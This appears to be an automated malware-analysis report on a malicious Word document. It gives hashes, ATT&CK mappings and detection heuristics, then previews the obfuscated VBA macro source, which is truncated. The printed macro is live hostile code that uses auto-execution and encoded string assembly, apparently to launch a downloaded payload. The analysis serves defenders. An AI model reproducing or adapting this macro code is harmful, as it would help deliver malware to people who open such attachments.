Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 97941c64cbac8073…

MALICIOUS

Office (OLE)

81.5 KB Created: 2017-10-24 05:44:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 2f620cf951271e61ea0c92ef0a6cff28 SHA-1: db4097543d9b6cd5d0821153dcded9e8cb6dfa80 SHA-256: 97941c64cbac80731eee67cbe86bbc8efda12309391091b91cb483b77332010e
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing obfuscated VBA macros. The AutoOpen macro, which executes automatically upon opening the document, utilizes the Shell() function. This indicates an attempt to execute arbitrary commands, likely to download and run a second-stage payload from a remote source. The presence of the 'macros.bas' artifact further supports the macro-based execution.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15855 bytes
SHA-256: 631bf2090382b2c74ef64861da3325ff465e461479dd14522f3de2bd39b229d3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 39 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function dZOzuXVAP()
wzYlQDaM = "19USkHcJYKEQsDjZnVZMiVFpFTnsanOFSOAwFSovZEoHCjiCOFwzXimKcOMRUkilvwzdCnTVjdnahwmZlldUrPiocqTrFXboVCLDiEzambStrMddbnjiGOujQJBMTY69W97UBMUI0S"
tcmNfu = Mid(wzYlQDaM, 4, 122)
TXqlRAStlGp = tcmNfu
NpIpud = "30dHuTtGdHBcrIN76TEZJ5S3L7R1JCH7XW5BD7SR2"
MiuMv = Mid(NpIpud, 3, 11)
YYbGwfjUGAF = MiuMv
rqjpjzTpHpD = "L2EzpQnPGaXmbIRdBQwivDTnDEwIYIdJlZUZjKSjSUKSAQJwAQVuijwpkQtlUfrzwOABnstrzPQbsAmmuzHInjaEdfoSQjPncNWmPIJIWiwTQVwkdGrUXjJNnvYIDbaRAcwfiAXmqzlJmHoIiEoJpuPtDJwTjAEvDfTnWRFdjEiYzAajHPZznRbFNFbVBDCpuqGGnAlRwKakPrvCiRMTbFIlDNaRpkbfCpXEVH0AGZFQ01PKIUQS"
rukVjaEW = Mid(rqjpjzTpHpD, 3, 224)
UCvCUtivF = rukVjaEW
DUNhjRX = "KHCEIXrjzAzLvPqokJnLlSFqhcpfJWTfdMnUzNnGzzUflUaoIfHkMGGNtwJLKCPW8CN61VS"
nmPFpuBdjJ = Mid(DUNhjRX, 7, 55)
DHOTqvSHXU = nmPFpuBdjJ
znJpBXlQ = "GXU4OI0AmIzhftUMRkNEntVNOOdHAiJcpluCUmlYNwtiiPNfvETTnEcGrjUjijWDzUstzRrfwoqoA8GBJ0BEBOU6V"
ATWQfC = Mid(znJpBXlQ, 9, 69)
CRfwfAjT = ATWQfC
YDwSsnYAi = "LVFQ46VRB23DI6UF599V3I8KWFWR684aNnIOYFpUDfuNXEHQzroTcnYZQTjJfnszIQIWQZLmsslCapCWNMPsGOwZOjzFYjpPnzFHvkzYjBbjCWwbQKvTYAqtSi8KC6HK"
vSXRw = Mid(YDwSsnYAi, 32, 91)
jjtPzwsZGpL = vSXRw
mrwYUwzl = "URQqqWKZnkriNpiUDZaUcNjuiJBLDRM72JSM7G6"
KZLDcKtG = Mid(mrwYUwzl, 4, 22)
nTdXhAskh = KZLDcKtG
BJUGYf = "04JNjMiGdApImQlrkraBFjFaAVfBOJvOiJdDVsjEsZomBhociEwOrZantZKKhjrTFadcniWrHVIjrSYShCTKLjXFjpJviZXLhUjbELpAiHHVQtwbBrdiNhIZDXtzYaIiwwwXlzOWNTbDZBpptiurvtwAMHYjSrbIwZXTvYpDcGQtFEABiDEqfRmEwzKiZiDWrTFzdWuUsqOpdEvHHWwPnkcjnTVzNLiuDuBmzAXMIjwoCzbtCDWDkojHqZMKAzWHSUNO"
jEjomPGwPJv = Mid(BJUGYf, 5, 250)
kQwPXkCin = jEjomPGwPJv
wmOnHbSJMPX = "7FUPB9BAvVjMUAjzwuMUjlPwAtzJznjthuoWTMPIzWUwvUblcLYVFoZuFKoRTRCHmqiaMKfjfEXMQQCfRNhmONntVuRIYzofTMMFpBZRfoqBRMdoHIzGkQtYClFRtXKhPrsEEAUB"
sEtwVVA = Mid(wmOnHbSJMPX, 8, 125)
jQBlL = sEtwVVA
VmpzdvEb = "R24J11W6JIE6W1MTGDXLPHAMachRijbVpWVjLlzZENCBWdOiTWFabAEbwmZrwUlqNmplOfvVPUtvJJqwOwzMiAupRtkYMFakbLnjndTnakLGGISnwcdzWZMMsATVvWIJtITwVGJkfKltpniJbzckcbOCwbrnKwrEbBNzoURqStULnSXERKtwuYhSuRzuPWZjShSnakUHflRiGCOfDnVAFtJCTvDXUXbwTotGAjihpmSIHwLrCTqcAZbYXPTfjwmIKUPSJIfUIoKSb8CIZAUK2"
DPnYazjn = Mid(VmpzdvEb, 24, 246)
jEFBbCFiOF = DPnYazjn
SjiPCi = "YCSdzZQpvkJFECUcILLYzoMNGPXFJPFzUfASOvuFbYjOiXubOsjXvCusqFWjBKfjiJkZCBNNRGwbFzijUwrRfiDDDPQOLWHM562R"
BYVUKnszjz = Mid(SjiPCi, 2, 86)
ZiWHBBj = BYVUKnszjz
frIAFGsC = "H46UVBDFXGhMUliCIIHwlGDmodprbuKobJOLuwZnNLLcQciLsquuPEwifUCvXSZDwskKXXIMiTlavbVLvizlzPZWLffauiQulHjYrXnUiiMvTXnDwqAsTnDjTOzrrhSEDqonvzUXrfCRDdCnsbbDiYawEzEdXvcAPIsdizIAWcBoklcpLLzPGOZfPqivtqzvCCCvkZFsTahBWmNTWOSLwMtAiNNrRNHfcGliihElGGwjhXIddPYiYnwqIBMXMNbFSCZQAikpJjFqPNTKEjOCpdGoHvahUhYtirNiwrcwijUriHauhG0V"
qcKkaoLicjw = Mid(frIAFGsC, 10, 296)
wouvcrwFBv = qcKkaoLicjw
aSHGG = "REYOHhbFNLDWPdkvacMrLEnOXskVpOlVrmGLpMdRwaoPffGVqVjSGjomFDLOzGQwaiicXYGOzuukQYjrlPfTfTPLzTGlBPUqKpozBdzSOUTLlDWjTTchawTGSTfDSUMkaEaajmqHRNEKADZtzZShmmPNWiiiwuzuHilhdvzhdUQNrIGPulFsCfznoMEBIHJXNKDRRrQCclERWBWNbOoMoHsclzsQrvYVLsAhFpzCVDQRbfRnqqatTwjFSafUzzK9Y5DRSV8XL6"
jCNFcOvzw = Mid(aSHGG, 5, 251)
TvhXKNdjJmw = jCNFcOvzw
End Function
Function VLqiiNXUl()
cXkpLB = "NKAAwADsANAAxADwANAA0AC0AMwAyADwAMwA2ACEAMQAxADIALQA5ADcALQAxADEANgB3ADEAMAA0AFIANAAxAFIANQA5AHcAOAAzADsAMQAxADYAPgA5ADcAPAAxADEANABFADEAMQA2ADsANAA1AC0AOAAwAHcAMQAxADQALQAxADEAMQA8ADkAOQAhADEAMAAxAD4AMQAxADUAPgAxADEANQA+ADMAMgBoADMANgA7ADEAMQAyACEAOQA3ADsAMQAxADYAdwAxCHNUK4GVEZ"
qKMbD = Mid(cXkpLB, 3, 267)
lspKLmY = qKMbD
DZjzhCR = "Z3sANQBdACsAJwBYACcAKQA=I2JVYJSTN0"
cHdLHJ = Mid(DZjzhCR, 3, 22)
LwaHH = cHdLHJ
vXNGYMoqwQ = "B9AC0AMwAyAHsAMQAxADQAewA5ADcAIQAxADEAMABFADEAMAAwAEUAMQAxADEAPAAxADAAOQB7ADUAOQA7ADMANgAtADEAMQA3AEUAMQAxADQAdwAxADAAOAAhADEAMQA1ADsAMwAyADwANgAxAEUAMwAyAHsAMwA5AEUAM8JMWV5KDNL6KTC3OWF"
BAssKu = Mid(vXNGYMoqwQ, 3, 165)
tBDCzGpTq = BAssKu
QEVIG = "EBVAIJQEB
... (truncated)

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